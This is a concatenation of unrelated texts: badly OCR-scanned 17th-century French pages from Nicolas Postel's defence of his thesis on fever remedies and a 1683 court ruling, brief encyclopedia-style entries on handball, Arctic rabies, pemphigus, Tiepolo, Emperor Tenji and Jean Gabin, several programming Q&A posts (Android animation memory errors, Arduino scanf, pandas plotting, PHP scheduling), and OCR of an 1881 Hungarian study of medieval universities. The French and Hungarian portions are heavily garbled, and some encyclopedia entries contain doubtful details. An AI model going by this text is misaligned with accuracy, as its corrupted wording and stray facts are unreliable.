jiloyois fon.Remede pour routes les
Fievres Intermittentes; comme Mef-
fieurs mes Confreres , qui ne vou-
droient pas raentir en ma faveur > fc-
roient contraints de I’attefter. J’avois
remarqui dans IcsOuvrages de ce grad
Homme, non pas a la veritc I’ufage de
cette Ecorce de Pcrou» qu’il iicpouvoic
pas connoiftre , mais celuy des Fc«
brifuges en termes genetaux , au Lir.
df )fiffeUionih,V 3 .g, jio. de [’Edition
detFoefius, lig. 24. & fuiyantes , oiii
Hparlc ainfi; Cum fehris ttniam
T
_%i6 Conclufion-
tinmrit ,Ji(jnidem tmpmgams efe ttbi
vidcAtHr , quarto die nfsdicamentum
furgans cfihtbeto. medicamenii
opus ejft ttbi non vtdeatur , in potH
I medtcamema danda funt ea, qui.hut
fehrts Transmutatbr, aut be-
JiciTj quernadmodttm in medteamen-
tis feriptum efi. Dans ce PafTage , il
eft evident que le Di(3:aceur recon-
noift des Medicaments diftindls de la
Purgation jQ^bus ,febris aut tranf-
tnutatur ; aut deficit , ]v utiKstistTeti
dt «3wai)'^ Il me femble qu’on
■nc pent pas mieux deferire les Fe--
'brifuges dont Hippoc. n’ignoroit, ny
•h vertu ny la mattcre de plufieurs,
comme font Ics Racines de Pentaphyl-
'lum. Trifolium, Laferis Succiis,
qu’iiprdonne , a. de morb.
Cette pen fee d’Hippocr ; auffi bien
rextreme peril B'une Dame d'e
med'Ef'-Qnalice que ie traitois- pour lors-,
caviUe. •jn'ihrpira j heureofement pour elle,
‘cet efpece d’Analogifmc, qui s’ap-
pclle I -A remedio , ad remedium ; ou
'toefme celny qui eft , dh affectu ad
•‘aff’eStum , je crus que la ftevre dou-
'bie-tierce, pouvoit eftre gucrie com*
Conchjiott. , xiy
me la Qiiartc, & quc le Quinquina
pouvoit faire , tout cc qu’on pouvoit
attcndre des autrcs febrifuges, eon-
nus par Hippocr. Je communiquay
cecte penfee dans une Confulta.tion >
it deux de mes ConfrereSj quj, r;CuC-
fit tres-parfaicement, tirani comrne par
miracle,noftrc malade du tombeau,qui
autrement luy eftoit inevitable.'J’cQ
donuay depuis k pluficurs autres per-
fonaes, avec pareil fueccz, fansTbnger
i tirer aucun profit particulier ,, d’une
defcouvette, fi capable d’en apportcr.
I e Retnede que ie propofe pour les In-
flaoimations dc poidfrine , me paroift
de toute autre caufequenice ; parec
qu’il gueric auffi fouvent que Taut re >
& que ces maladies font plus aigues*
aoffifrequentes , plus funeftes, & oat
moins de reffource. Je nc m’attcnds
pas d’en tirer beaucoup plus d’avan«
tages; mais du moins, il n’eft pa?
iuftc , ny de I’inteteft Public , dc fouf-
frir qu’on me deshonore, Sc qu’on mq
perfecute it cette occafion ; & qu’uno
Cenfurc honteufc, & Enrcgiftrec dans
les Archives dc I’Efcole dc Paris , foit
la Recompenfe de mon Travail, & dc
Ta
21S Conclupon.
rattflchemcnt que ie puis avoir pouf
Hia Profeffion.
J’efpere que ccux qui jugeront des
chofcs Ians paflion » .Qjtthtfs prisju-
dictum , jttdichm non tedn , feront
qucique reflexion fur ma Thefc, &
fur la Differtation qui n'en eft que la
Paraphrafe , & liiy fere de preuve »
& qiiie du tftpiiis if kur prendra en-
vie d’^prouver la verit^ de cc que
jc dis. S’ils font kur experience ju*
ftc , & obfervent tons ks Diorifmes
que nous avons maiqucz alfez clai-
remeuc, je ne dcute point qu’elk
he kur rcitffilFe . & qu’enfin Topi-
nion que deffends, ne s’eftablifle
dans la Pratique , malgre Toppofition
de mts Adverfaires . auffi bten que
I’ufage de I’Antinioine, la Circula¬
tion du Sang, k Quinquina , & tant
d’aiitres Dogmes de Theorie, & de
Pratique, qui fe font maintenus:>
nonobftant les fortes conteftationsj
de Cenfeurs pareils ^ ceux qui veu-
lent m’opprimer.
Jc (uppiie done ces Meflieurs, ou de
retradler la condamnation dont ils ont
voulu fletrir ma Thefe > oo de refu-
ConclKpon. 115
ter foHdement cette Di(rerfation j par
des raifons, plutoll que par de nouvel-
Jes Cenfures ; dom 4 dire la verite , ie
pourrois me moequer & cn qoalitc
dc Doyen de la Faculte de Caen , corn-
me ie le dois eftre dans peu ( fi Ton ne
me fait quelque nouveau pafle-droit ^
les Cenfiirer elles- merocs, les traitant,
Vt terricHlamma fHcrorum, & ful-
mina hrnta , qui fe peuvejit detour-
ner cn fouflant deflus. Si ces Mef-
fieurs refufent I’un ou -I’autre Par¬
ty , je me fens aflez de refolution
pour implorer la Juftice de noftre
Invincible Monarque » qui parmy
taut de Vertus Royales, qu’on voit
briller , comme autant de Rayqns
de foil Aufiufte Perfonne, fait pa-
roiftre un Amour li tendre & li pa-
ternel, pour la confervation de fes
Sujets. & une Paflion fi Noble, &
fi djgne de la Grandeur , & des Mer-
veilles de fon Rcgne , pour Ic Pro*
gres, & le Retabiillemenc des Beaux
Arts. Enforte que tout obfeur, &
inconnu que jc fuis > le ne doute point
que fi je peux une fots arrlver a fes
fieds, & luy foire .cpnnoiftre , que
1» vie dc cent millc de fies Stiicts ,
2tO Cct)clnfivtt>
peut dcpendre tous les ans de Tef-
clairciflcmcnt de ccttc Qufftion &,
ce qu’on nc peut penfer .fans frcmir»
que la confcrvation de fa Perfonne Sa-
crie , qui fait lagloire & lafelicice de
liotrc Siecle par fa dominatio.&aireiire
cells des Futurs par fon Exemple, y
peut eftre intereflde} ou du moins celle
de quelqu’un des Princes,ou Princeftcs
de fon Augufte Famille : Je ne doute
point,dis ic,qu’jl ne ni’accorde la Per-
roiflion que is luy demanderay tres-
humblemcnt , de fouftenir publique-
incnt une Thefe fi importante, eontre
tous ceux qui I'ont Cenfurce.
Je n.’ignore pas que Ic Sacre depoft
de Saiu^^ Ci precieufesi eft cntre les
mains dy!s premiers Hommes dn monr
de, qpf ne peuvent eftre furpris,ny
ttouver rien de nouveau, dans un
Art ou ils font confommez. Mais loin
de craindre que ccs llliiftres Perfon-
nes trouvent rien a redire ^ ce que ie
viens d’avancer, i’efpere qu’ils me
fqauront bon gre de mon zele , 3c dss
foibles efforts que ie faits, pour me
rendre digne de I’Em^loy , qifil a
plu k fa Majefte de me donner , lur la
nomination fi pure & fi gencreufe du
Concltfflon. % ii
Premier d’cntr’eux, de la protedion
duquel j’actends encore , priacipale-
nient ce que ie demande. J’elpere
de plus , que ies Sages & S9avants
Magiftrats , qui foas I’authoritc du
Roy , font des yeux toiiiours ouverts,
& couiours veillants fur le Salut dtj
People, qui eft Icur fouveraine Loy,
s’appercevront aifemenc , & dc I’im-
portance de noftre Queftion , & de
la fmcerite dc mon Procede, & de
I’artifice de mes Adverfaircs , & par
I’autViorite de Icurs Arrefts, ou la
prudence dc leurs Confeils, me procu-
reront la liberte de la Difpute que ie
demande. Le Roy n’a point def-
fendu cette efpece de Duel , done
la Permiffion , pent epargner aiuant
de Sang & deVie h. fes SQjets.que la li¬
cence & la fureur de celuy qu'il a Ii fa-
gement reprime , en pouvoic repandre
Ce ejHt fait ejperer audit Sieur
Pofel de la JuBtee de la Cour ; qu’en
mettant I'Appellation , & la pretendu'e
Cenfure an neant ; Ji lay fera permis
de fa^e Soutenir [a Thefe par TAfpi-
rant fotu fa Prejidence , de la Sou-
tenirfeul luy rnefme ft hefoin efi , centre
lent Dogears oppofants. Qvfa cette
ill. {^etichfleft,
fit!, tl l^y [era fetmis de faire /*»•
Hter & t^fficher I’j4rreft ftti mer-
viendra, & au bos d’iceliij
le jour & I'heure dt ladke Diffute^
pour rendrc I'tAS;e pins celebre & plus
fblennel. Les dejfendeurs CondamncKt
«n fes InttreBs , dommages & depens,
FIN.
L’An I 6 8 j. le-Mercredy j. Dcccmbic,
devant Monfieur le Lieatenant Gene¬
ral au Bureau deia Police.
Entre Mre. Nkolas Poftel DoSetsr & Profef-
ftar Koyal de Medecine en I'Vmverfite de Caen
demandtur a I'encontre d’Antoine loiiannt
Maitre ImprimeuT Libraire en cette Villt fuf
Exploit du Coma Sergeant da jour d'hfer, pour
Je faire eondamner a lay rendre 0> repituet lei
Exemplaires d un PaBam qu il auroit fait im-^
primer cheH^ledit loiiannei pour fervir aa Procef^
d'entre ledit Poflel ^ les autres DoSleari &
Profejjjears en Medetine de ladite Vniverfite ■. 'Et^
ledit lodanne fur ce pourfaivy , leqael a declare
nepoavoir delivrer ledit FaBum qu'iln’attune
Permijfion da luge , attendu qu'il tient lieu de
Livre: d'autres , ouile Procureur da Roy . Sou!
avons veu la qualite duLivre qai eft un FaBum,
condamne ledit louanyte a mettre lesExeplai -
res dudit FaBum entre les mains dudtt fieur
Poftel dans ce jour autrement recof^peWfe de la
Sentence (p> Mandement Signei
,» V M o vtjue_b.,4^ & V a V q4 e I. r N|
|
(For the different sport of the same name played with two, three or four players, see.)
Handball (also known as team handball, field handball or Olympic handball) is a team sport similar to football (soccer). Two teams of 7 players each (six players and a goalkeeper) pass and bounce a ball using the hands, trying to throw it into the goal of the other team. Games are an hour of playing time, divided into 30-minute halves, with 15 minutes break at halftime. The size of the court is a little bigger than a basketball court, 40 meters by 20 meters, which is the same court as indoor soccer. It has a six-meter line which no one but the goalie is allowed to have possession of the ball and touching the ground. If this happens, a foul is called and the player committing the foul gets ejected, (sitting out of the game for two minutes, five minutes, or the rest of the game). There are seven players total on a handball team, six players and a goalie. Most historians agree that handball predates soccer, (football) but that is not for certain
References
"Team handball." World Book Advanced. World Book, 2012 |
Arctic rabies virus is a strain of Rabies lyssavirus that circulates throughout the arctic regions of Alaska, Canada, Greenland, and Russia. There have been no cases in Sweden or in the mainland of Norway in over 100 years. The virus is, however, found on Svalbard. No cases have been reported from Finland since 1989. The Arctic fox is the main host.
Arctic rabies virus belongs to the family Rhabdoviridae and the genus Lyssavirus. Arctic rabies virus represents one of four genotypes of rabies, all of which have been shown to adapt to different hosts which include fruit- and insect-eating bats and the Arctic fox.
Viruses |
Pemphigus is an extremly rare skin disease. It happens because the antibodies attack the skin cells. It is an autoimmune disease. It causes blisters and sores on the skin.
There are three types of pemphigus. Pemphigus vulgaris is the most common type. It is more common in Ashkenazi Jews.
Autoimmune diseases |
<p>I am currently developing a game and I'm trying to use one AnimationDrawable to show one animation in my Main Menu. When I run the game once, it works perfectly. But if i tap the back button, when I open the game again it gives me OutOfMemorryError.
If I hit home and go back to the game, it loads but doesn't show the animation, it's empty where it should be.</p>
<p>I think when it opens the game again it tries to load the animation, but it's already loaded from the previous run, can i free that memory somehow? How can I treat that exception?</p>
<p>Searching around I can find that its a common problem in Android, but I couldn't find anything useful. </p>
<p>If it's relevant, my images are 310x316 and I have 114 frames to load, the animation is loaded in a xml.</p>
<p>My MainMenu class: </p>
<pre><code>public class MainMenuActivity extends Activity{
private String TAG = MainMenuActivity.class.getSimpleName();
ImageView rabbitMenu ;
AnimationDrawable ad;
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
requestWindowFeature(Window.FEATURE_NO_TITLE);
getWindow().setFlags(WindowManager.LayoutParams.FLAG_FULLSCREEN, WindowManager.LayoutParams.FLAG_FULLSCREEN);
setContentView(R.layout.mainmenu);
rabbitMenu = (ImageView) findViewById(R.id.rabbitMenu);
rabbitMenu.setImageResource(R.drawable.rabbit_menu_animation);
ad = (AnimationDrawable) rabbitMenu.getDrawable();
}
public void onWindowFocusChanged(boolean hasFocus) {
super.onWindowFocusChanged(hasFocus);
ad.start();
}
}
</code></pre>
<p>The error log:</p>
<pre><code>01-31 16:13:11.320: E/AndroidRuntime(19550): FATAL EXCEPTION: main
01-31 16:13:11.320: E/AndroidRuntime(19550): java.lang.OutOfMemoryError: bitmap size exceeds VM budget
01-31 16:13:11.320: E/AndroidRuntime(19550): at android.graphics.BitmapFactory.nativeDecodeAsset(Native Method)
01-31 16:13:11.320: E/AndroidRuntime(19550): at android.graphics.BitmapFactory.decodeStream(BitmapFactory.java:563)
01-31 16:13:11.320: E/AndroidRuntime(19550): at android.graphics.BitmapFactory.decodeResourceStream(BitmapFactory.java:439)
</code></pre>
<p><strong>Edit:</strong></p>
<p>After @OleGG suggestion and now the second run goes fine, but on the third run I'm apparently trying to use a recycled bitmap. </p>
<p>So I gave up of using AnimationDrawable, and I used AsncTask to solve my problem. Now i keep changing the background of the ImageView on my onProgressUpdate(). May not be the best approach, but now I'm not having any problems! Here is my AsyncTask code in case someone has the same issue! </p>
<pre><code>private class DrawRabbit extends AsyncTask<Void, Integer, Void> {
private boolean running = true;
private int fps = 24;
private int frame = 10014;
private String drawableName;
@Override
protected Void doInBackground(Void... params) {
while (running){
try {
if (frame == 10014)
Thread.sleep(1000);
else
Thread.sleep(fps);
if (frame < 10160) {
frame++;
publishProgress(frame);
}
else
running = false;
} catch (InterruptedException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
return null;
}
protected void onProgressUpdate(Integer... frame) {
drawableName = "rm" + frame[0];
int res_id = getResources().getIdentifier(drawableName, "drawable", getPackageName());
rabbitFrame.setBackgroundResource(res_id);
}
}
</code></pre> |
Kermit Gosnell (1941-) is a physician with a clinic in Philadelphia, Pennsylvania. He has been charged with murdering babies born alive. A patient also died in his care. He is facing 8 charges of murder and a possible death penalty. State officials, despite awareness of bad things going on, did nothing to stop him from 1993 until the FBI raided his clinic in 2010 on an unrelated matter.
References
1941 births
American physicians
People from Philadelphia, Pennsylvania
Living people |
Giovanni Battista Tiepolo (March 5, 1696 – March 27, 1770) was an Italian decorative painter of the Baroque. He was born in Venice and died in Madrid. He had nine children upon his wife Maria Cecilia Guardi. Two of his three sons became his assistants; the third became a priest. He worked churches and palaces in Italy, Germany, and Spain.
Related pages
List of Italian painters
1696 births
1770 deaths
18th-century Italian painters |
<p>I would like to use printf and scanf within the arduino language.</p>
<p>I run correctly the printf in this way:
<a href="http://playground.arduino.cc/Main/Printf" rel="nofollow">http://playground.arduino.cc/Main/Printf</a></p>
<p>But I can't use scanf. How can I use it?</p> |
<p>I'm currently working with Pandas and matplotlib to perform some data visualization and I want to add a line of best fit to my scatter plot.</p>
<p>Here is my code:</p>
<pre><code>import matplotlib
import matplotlib.pyplot as plt
import pandas as panda
import numpy as np
def PCA_scatter(filename):
matplotlib.style.use('ggplot')
data = panda.read_csv(filename)
data_reduced = data[['2005', '2015']]
data_reduced.plot(kind='scatter', x='2005', y='2015')
plt.show()
PCA_scatter('file.csv')
</code></pre>
<p>How do I go about this?</p> |
, also known as Emperor Tenchi, was the 38th Emperor of Japan, according to the traditional order of succession. His reign started in 661 and ended in 671.
Traditional narrative
Before he became the monarch, his personal name (imina) was .
He was the son of Emperor Jomei.
Events of Tenji's life
Prince Naka no Ōe was made heir apparent and Crown Prince in 661.
661: In the third year of Empress Saimei's reign, she died. Her son received the succession (senso), but he governed as Crown Prince for the next six years. He did not formally accept the monarch's role and duties and powers.
668: Emperor Tenji became the monarch (sokui). This was confirmed in ceremonies.
668: In the seventh year of Tenji's reign, flammable water (petroleum) from Echigo Province was presented to Emperor Tenji.
672: Tenji is said to have compiled the first Japanese legal code. This was the Ōmi Code, consisting of 22 volumes. These law became effective in the last year of Tenji's reign.
Prince Ōtomo (Ōtomo-shinnō) was the favorite son of Emperor Tenji; and he was also the first to be accorded the title of Daijō-daijin.
Tenji improved the military forces which had been established during the Taika reforms.
After his death
The actual site of Tenji's grave is known. This emperor is traditionally venerated at a memorial Shinto shrine (misasagi) at Yamashina-ku, Kyoto.
The Imperial Household Agency designates this location as Tenji's mausoleum. It is formally named Yamashina no misasagi.
Related pages
Emperor of Japan
List of emperors of Japan
Japanese imperial family tree
References
Other websites
626 births
671 deaths
Emperors of Japan |
<p>Our system based on Zend 1 has a background process running as daemon to check hourly whether user has expired or not, if yes, the system will send verification email to these expired users.</p>
<p>The code is really simple:</p>
<pre><code>while(1) {
$worker = ... //get verification worker
$worker->run();
sleep(3600); //run hourly
}
</code></pre>
<p>We would like to look for better approach with free tool to replace this code to schedule job in the system. Zend Job Queue is really good approach but it is commercial.</p>
<p>My thinking on two below approaches as Zend Job Queue alternative:</p>
<ol>
<li><p>Instead of running daemon, configure cron jobs on crontab to run PHP script hourly, but I am not sure whether it is better on above code or not. </p></li>
<li><p>Run <a href="https://github.com/ncb000gt/node-cron" rel="nofollow">node cron</a> on nodejs server to call PHP script directly.</p></li>
</ol>
<p>I also have looked on Gearman and beanstalked whether they supports on job scheduling but really stumped on this way.</p>
<p>Please suggest if there is any better approach to schedule task on PHP.</p> |
Jean Gabin (; 17 May 190415 November 1976) was a French actor. He also sometimes was a singer. Gabin is considered one of the great stars of French cinema. He was made a member of the Légion d'honneur. A museum in Mériel contains his story and features, his war and film memorabilia.
At the age of 19, Gabin received a small role in a Folies Bergère production. He continued acting until he joined the military. After his military service he began acting again. He became part of a troupe that toured South America. After returning to France they worked at the Moulin Rouge.
Gabin gained notice and received roles in films. He became popular after being in films directed by Julien Duvivier. He had many offers to work in Hollywood. When Germany occupied France in World War II, he went to the United States. While there he had a romance with actress Marlene Dietrich. He was difficult to work with and did not have success with his career in Hollywood.
Jean Gabin joined General Charles de Gaulle's Free French Forces. He earned the Médaille militaire and a Croix de guerre for his wartime service in North Africa.
After the war Gabin returned to acting. For several years his films did not make much money. Then the 1954 film Touchez pas au grisbi (Don't Touch the Loot) was a very profitable international success. Over the next twenty years, Gabin made close to 50 more films.
Other websites
1904 births
1976 deaths
French actors |
Martignat is a commune. It is found in the region Auvergne-Rhône-Alpes in the Ain department in the east of France. |
Magomadas (Magumàdas) is a town and comune (municipality) in the Province of Oristano in Sardinia, Italy. As of 2016, 666 people lived there. Its area is 9.02 km². It is 263 meters above sea level.
References
Other websites
Communes of Sardinia |
1
761 0732481
|C0
1
V
Ábel, Eugen
Egyetemeink a közép-
korban
EGYETEMEINK
A KüZÉPK€rtíB
ÍRTA
D^^ ÁBEL JENŐ.
KIADTA
A M. TUD. AKADÉMIA IRODALOMTÖETÉNETI BIZOTTSÁGA.
BUDAPEST, 1881.
A M. TUD. AKAD.ÉMIA K ÖN Y VKI A D O - Hl V A T AL A
AZ AKADKMIA líPULF.TEBEN.
Ú.S7
APR 1 5 \m
E LG S Z 0.
Jelen értekezésemben középkori egyetemeink történetét
akartam adni, és csakis ezekét ; mert ha többi középkori taninté-
zetünket is bevontam volna előadásom keretébe, nagyobb tért
kellett volna engednem az általános fejtegetéseknek, fősúlyt kellett
volna, fektetnem tanügyünk fejlődésére a középkorban, és így
kénytelen lettem volna épen föfeladatomat, az egyetemeink tör-
ténetére vonatkozó adatok kritikáját, értekezésem egységes com-
positiójára való tekintetből elhanyagolni és az idevágó fejtegeté-
seket kelleténél szűkebb térre szorítani.
A jelen dolgozatomat megelőző irodalmat iparkodtam lehe-
tőleg teljesen felhasználni, és tudtommal csak Clade H. értekezé-
sét ((Dissertatio de antiquioribus Hungáriáé scholis et Academiis,
Budae. 1830. 4f^», melyet Grásse említ (Litt. Gesch. II. p. 95), nem
szerezhettem meg magamnak. Hogy a hol csak hozzáférhettem,
kiadatlan adatokat is felhasználtam, arról a figyelmes olvasó csak-
hamar meggyőződhetik, külömben pedig törekedtem az általam
felhasznált adatokat kétszeresen értékesekké tenni az által, hogy
a jegyzetekben vagy szórói-szóra vagy bő kivonatban közöltem ;
saját tapasztalásomból tudom ugyanis, hogy még a szakavatott
olvasó is az olyan okmánynak, melyre a szerző csak utal, rendesen
restéi utána járni, míg az olyanból, mely egész terjedelmében, vagy
legalább pontos és bő kivonatban előtte fekszik, nem ritkán érde-
kes adatokat merít, melyeket előtte nem vett észre senki.
Ábel, Egyetemeink a középkorban. ■'
Végre kedves kötelességemnek tartom bálás köszönetemet
kifejezni mindazoknak, kik kérésemre kutatásaimban segédkezet
nyújtottak: Batka János, Harmatb Károly, Havlicsek Yincze,
Knauz Nándor, Mika Sándor, Eiedl Frigyes, Eing Mibály, Eómer
Flóris, Szabó Károly, Szilasi Mór uraknak, különösen pedig Dr.
Scbrauf Károly úrnak, ki a gondjára bizott bécsi egyetemi levél-
tárban a bécsi egyetemnek a középkorból ránk maradt actáit
értekezésem számára a legnagyobb készséggel átkutatta.
Budapest, 1881. június lió 18-ikán.
D)'. Ahd Jenő.
EGYETEMEINK A KÖZÉPKORBAN.
A nyugati civilisatio történetében nem jelentéktelen szerepet
játszanak az egyetemek, mert nemcsak liogy hatalmasan előre
vitték a tudományt, hanem, legalább a középkorban, a szellemi
életnek középpontjai voltak és az idők folyamában a nép alsó- és
közép osztályainak általános műveltségére is nagj'on jótékony
befolj'ást gyakoroltak.
Az egyetemeknek ezen áldásos befolyását kutatni a műve-
lődéstörténet legszebb feladatai közé tartozik, és ámbár közép-
kori egyetemeink történeténél gyakran azon kellemetlen helyzet-
ben vagyunk, hogy befolyásukat koruk műveltségére kellő adatok
híján nem bírjuk eléggé feltüntetni, a szétszórt és hiányos adatok-
ból mégis abstrahálhatunk több olyan tényt, melyek hazánk mű-
velődésének történetére a középkorban érdekes fényt derítenek.
I. A veszprémi egyetem.
Ezt mindjárt legrégibb ^) egyetemünknél, a veszpréminél
tapasztalhatjuk, mely az Arpádkorszak művelődéstörténetének két-
ségkívül fénypontját képezi. Keletkezésének idejét nem ismerjük,
de valószínű, hogy a Szent István uralkodása alatt (1008-ban)
alapított veszprémi püspökség és káptalan mellett hihetőleg fenál-
lott egyházi iskolából fejlődött, bár eddig ezen feltevést hibásan
IV. László királynak egy 1 276-ban kelt okmányának következő sza-
vaiból akarták bizonyítani: « Tudja mindenki, miszerint Veszj)rém
városában azon időtől fogva, hogy Magyarországhan isten Jóvoltából
a katholika hit virágzik, a szabad mesterségek tanulmányai, melyek
által főleg az isteni parancsok legvilágosabban meg magyaráztat-
ik
nak, valamint Parisban Francziaországban, a tanítók kitünö tudo-
mányával ós a tanulók nagy seregével egész Magyarország egyházai
között növekedő hírrel fénylettek, s a tórvénytudomány az ország
jogai fentartására ott fö rangot foglal e\»'^}, hibásan azért, mert az
itt-ott hézagos és rosszul kiegészített okmány eleje Schönvisner
helyes kiegészítése és magyarázata szerint csak annyit mond, hogy
((tudja mindenki, miszerint Veszprém városában azon idötöl fogva,
hogy Magyarországban isten jóvoltából a szabad mesterségek virágoz-
nak stb. » . Mindazonáltal nem valószínűtlen, hogy úgy mínttöbbnyire
a régibb egyetemek, úgy a veszprémi is a helybeli káptalani isko-
lából fejlődött. De hogy Szent István maga emelte a veszprémi
káptalani iskolát egyetem rangjára, mint aztToldy hitte, épen nem
valószínű. Az ö uralkodása alatt, mikor kénytelenek voltak a többi
magasabb állami és egyházi hivatalt is külföldiekkel betölteni, alig-
ha voltak elegendő számban akár külföldieink, akár hazánkfiai, kiket
egyetemi tanárokká lehetett volna megtenni. Hozzájárul még, hogy
István alatt még a külföldön sem léteztek egyetemek (Európa leg-
régibb egyetemei, a párisi, a bolognai, a salernói, a XII. XIII. szá-
zadban keletkeztek), azaz nem volt, a minek mintájára Szent
István a veszprémi egyetemet felállíthatta és berendezhette volna.
Úgy látszik, hogy csak III. Béla (1173 — 1196) emelte a vesz-
prémi káptalani iskolái egyetem rangjára, de még így is miénk
marad annak örömteljes tudata, bog}' hazánk majdnem kétszázad-
dal előbb bírt egyetemmel mint a szomszéd Németország. III. Béla
közvetlen elődeinek uralkodása alatt telepíttettek le Magyarország-
ban a praémontreiek és cisterciták rendjei, a mi által az ország szép
számú tanárt nyert; Béla maga Konstantinápolyban, hol Mánuel
császár udvaránál nevelkedett, rég megkedvelte volt a tudomá-
nyokat ; második neje által, II. Fülöp franczia király nővére, Mar-
git által a i^árisi udvarral is élénk összeköttetésbe jött, és így
nem valószínűtlen, hogy ő volt az, ki a veszprémi egyetemet a
párisinak mintájára («prout Parisius inFrancia») rendezte be, úgy
amint llS3-ban a cistercitáknak is ugj'anazon szabadságokat adta,
mint a milyenekkel Francziaországban bírtak («ut ea libertate in
tota meaterra utantur, quam in Francia optinere noscunturo). Ez
legalább Bartal György valószínű feltevése (Commentarior. Tom.
II.Lib. V. § 39, p. 94), melyet Vass József is helyesel (Hazai és külf.
iskolázás az Arpádkorszak alatt. 1862. p. 49). Annál tévesebb Lányi
Károly állítása (Magyar katholikus clerus érdemeinek történet iga-
zolta emléke. Pozsony. 1848. p. 64) mely szerint: «az árpádi kor-
szakban annyira elliírült veszprémi fötanoda a székes-egyházinak
tágítása volt csak, meh'et alapítása óta többiként működöt, müveit
l)üspöke, lüttichi Róbert azáltal emele társai fölé, hogy a külföld-
nek szabályai szerént az új tanulmányokra elrendezé, állapotját
javítá.)) Erre Yass (i. m. p. 51) azt jegyzi meg, hogy: «Minthogy
Eobert püspök 1210-12^5, tehát II. Endre idejében ült a veszprémi
székben (Pray, Spécim. Hierarch. Hungaric. Part. I. pug. :?94) :
következnék, hogy a veszprémi székes egyházi tanoda 11. Endre
korában alakíttatott át egyetemmé. A tudomány érdekében csak
sajnálni lehet, hogy a különben gondos [helyesebben mondva, idé-
zett munkájában kimondhatatlanul fölületes] író e figyelemre méltó
állítását hiteles kútfőből merített adattal nem támogatja." Azonban
Lányi kérdéses állítása kétségkívül csak téves gyanitáson alapult,
legalább «Magyar Egyháztörténelmében » (1. 1866. p. 540) újból elö
nem hozza, és nem is mondja, kinek tulajdonítja a veszprémi
egyetem alapítását.
Legelső bizonyítéka a veszprémi egyetem létezésének lY-ik
Incze pápának egy 1:246-ban kelt okmánya (Waillynál, Histoire de
Louis IX, mintMarczali Henrik úr szíves közléséből tudom), mely-
ben Franczia-, Magyar- és Olaszország egyetemeiről történik említés,
melyből azonban, sajnos, az egyetem belszervezetére nézve szintén
vajmi keveset tanulunk ; oly keveset, hogy még Lányinak külömben
eléggé valószínű gyanításáról (Egyháztört. I.p. 547) sem mondha-
tunk ennek alapján ítéletet, mely gyanítás értelmében a veszprémi
egyetem a párisinak mintájára volt berendezve. Csak annyit mond-
hatunk egész biztossággal, hogy a veszprémi egyetem neoa volt a
bolognai mintájára berendezve, mely egészen a 13. századig csak a
jogi karból állott, csak 1362-ben egészíttetett ki a theologiai kar fel-
állítása által teljes egyetemmé, és külömben is sokkal lazább össze-
függésben állotta bolognai egyházi hatóságokkal, mint a veszprémi
egyetem a veszprémi székesegyházzal, melyeknek egymáshoz való
szoros viszonya már abból is kitűnik, hogy IV. László király a
veszprémi egyetem újjászervezéséhez megkívántató jövedelmeket a
veszprémi székesegyház képviselőinek kezeihez juttatá.
Az egyetem működéséről szintén nem sokat tudunk, de a
kor viszonyaiból is önként következik, hogy a XII. század második
felében és a XIII. században nagyon virágozhatott. Már a Kálmán
király korabeli egyházi zsinat megkövetelte a föesperesektöl, hogy
a kánonok rövidletével el legyenek látva ; az l:í79-lii budai zsinat
pedig azt határozta — érvényesíttetett-e ezen határozat, nem
tudjuk — hogy föespereseknek, kiknek hatósága van a házas-
sági és más ügyek felett ítélni, ne vétessenek fel olyanok, kik nem
jártasak az egyházjogban, más művészetekben vagy tudomá-
nyokban, és ha megesnék olyanoknak felvétele, kötelesek legyenek
legalább három évig egyházjogot tanulni. A magyar igazságügy
és közigazgatásnak III. Béla által létesített mélyen bevágó
reformja is, mely többek közt a királyi cancellárok számára is
nelkiilözhetetlenné tette a kánoni és hazai jog alapos ismeretét,
kétségkívül számos tanulót vezetett a veszprémi főiskolához,
melyen a kánoni és hazai (polgári) jogot egyaránt kiváló figye-
lemben részesítették («cultus iusticie ad regni iura conservanda
inibi obtinuit principatum» ). — A szabad művészetek iránt is mind-
inkább élénkebb lett a papi osztályban az érdeklődés, annál is
inkább, mert IV. Incze pápa megbotránkozván azon körülményen,
hogy a clericusok a bölcsészeti tanulmányok mellőzésével csak a
polgári jogot hallgatják, és a főpapok egyházi méltóságokra nem
vesznek fel senkit, ha nem világi tudományok tanára vagy ügyvéd,
egy 1254-iki bullájában (Matth. Parisnál, História maior. p. 1111.)
a polgári jog előadásának jogát a fejedelmek engedélyétől tette
függővé, és a végből, hogy a hittudományokra és a szabad művé-
szetekre több gond fordíttassék, meghagyta (lomnibus prítlatis in
Eegno Franc'ae, Anghas, Scotiae, WaUiae, Hispániáé et Hungarife*,
hogy (inullus de cfftero saecularium legum professor seu advocatus,
quatenuscunque in legum facultate singularis gaudeat prjeeminen-
tis:', privilegio speciali ad Ecclesiasticas dignítates, personatus,
prsebendas, seu etiam minora beneficia assumatur, nisi in aliis
liberalibus dhclplinis sit t'a;/)(??-íí<.s et vita et moribus commendatus'>.
És hogy végre Veszprémben, egy püspök es káptalan székhelyében,
a theologiai tanulmányoknak is volt elég hallgatója, szintén nem
szenved kétséget. Toldy ugyan nem tartotta valószínűnek, hogy a
veszprémi egyetemnek hittudományi osztálya is volt, «mert a pápák
a hittudori koszorú osztása jogával, az eretneki tanoktól féltökben,
csak kevés egyetemet ruháztak felw, de más részről alig hihet-
jük el, hogy a valószínűleg a párisi egyetem mintájára szer-
vezett veszprémi fötanodának ne lett volna bittudományi osztálya
is, ha külömben nem is vagyunk hajlandók IV. László király
többször idézett 1276-iki adományozó levelének eme szavait «libe-
ralium arcium studia, per que )iiandata maximé divina manifestius
(hclarantur, proiit Parisins in Francián Lányival és Vassal «a
párizsi rendszerben eléadott hittudományok o-nakforditani és ezen
forditást Toldy kételyei ellen felhozni.
Mily virágzó lehetett az egyetem a XIIL század második
felében, még az esetben is, ha a «quindecim personae de capitulo
doctorum iuris utrinsque)) kifejezést nem , tizenöt utriusque iuris
tanárnak', mint eddig tették (ez hallatlan nagy szám volna), hanem
,a káptalannak mindkét jogban jártas tizenöt tagjának' fordít-
juk, szépen kitűnik IV. László királynak l:í7G-ban kelt egy
másik okmányából ^), mely a veszj)rémi egyháznak tűzvész által
történt elpusztulásával foglalkozik, és a gyújtogatok által okozott
tömérdek, 50000 ezüst márkára menő kár között felemlíti, hogy az
egyháznak 3000 márka értékű egyházi könyve (libri ecclesiastici ad
valorem trium millium marcarum), Pál prépostnak 1000 márka
értékű könyve (Magister Paulus dominus ;doctor?] legum eiusdem
